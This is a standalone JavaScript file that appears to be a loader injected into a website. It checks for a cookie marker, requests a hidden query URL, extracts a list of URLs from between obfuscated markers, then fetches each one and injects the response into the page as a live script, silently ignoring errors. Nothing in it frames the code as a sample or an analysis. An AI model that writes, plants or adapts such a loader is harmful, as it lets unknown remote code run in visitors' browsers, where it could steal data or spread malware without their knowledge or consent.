var intervalId = setInterval(function() {
  if (document.readyState === 'complete'
     || document.readyState === 'interactive') {
    clearInterval(intervalId);
    _start();
  }
}, 1000);


function _start() {
  try {
    if (document.cookie.indexOf('Jf8y6S2aifZVynJb6hEZ') !== -1) {
      return;
    }
    run();
  } catch (e) {
  }

  function run() {
    getListOfHosts(function(err, urls) {
      if (err) {
	return;
      }
      for (var i = 0; i < urls.length; i++) {
	getUrl(urls[i], function(err, resp) {
	  if (err) {
	    return;
	  }
          var s = document.createElement('script');
          s.innerHTML = resp;
          document.body.appendChild(s);
	});
      }
    });
  }

  function getUrl(url, cb) {
    var x = new XMLHttpRequest();
    x.open('GET', url, true);
    x.onreadystatechange = function() {
      if (x.readyState === 4) {
	cb(null, x.responseText);
      };
    };
    x.send();
  }

  function getListOfHosts(cb) {
    var x = new XMLHttpRequest();
    x.open('GET', '/?sXnj0DSOvuqJQ7SnZkS6=1', true);
    x.onreadystatechange = function() {
      if (x.readyState == 4 && x.status == 200) {
	var start = '3BVKIGQA0lhCLzrxTFM7_start';
	var end = '3BVKIGQA0lhCLzrxTFM7_end';

	var startIndex = x.responseText.indexOf(start);
	var endIndex = x.responseText.indexOf(end);
	if (startIndex == -1 || endIndex == -1) {
	  cb('invalid response');
	  return;
	}
	startIndex += start.length;
	var response = x.responseText.substring(startIndex, endIndex).trim();
	var arr = response.split(String.fromCharCode(10));
	cb(null, arr);
      }
    };
    x.send();
  }
  
}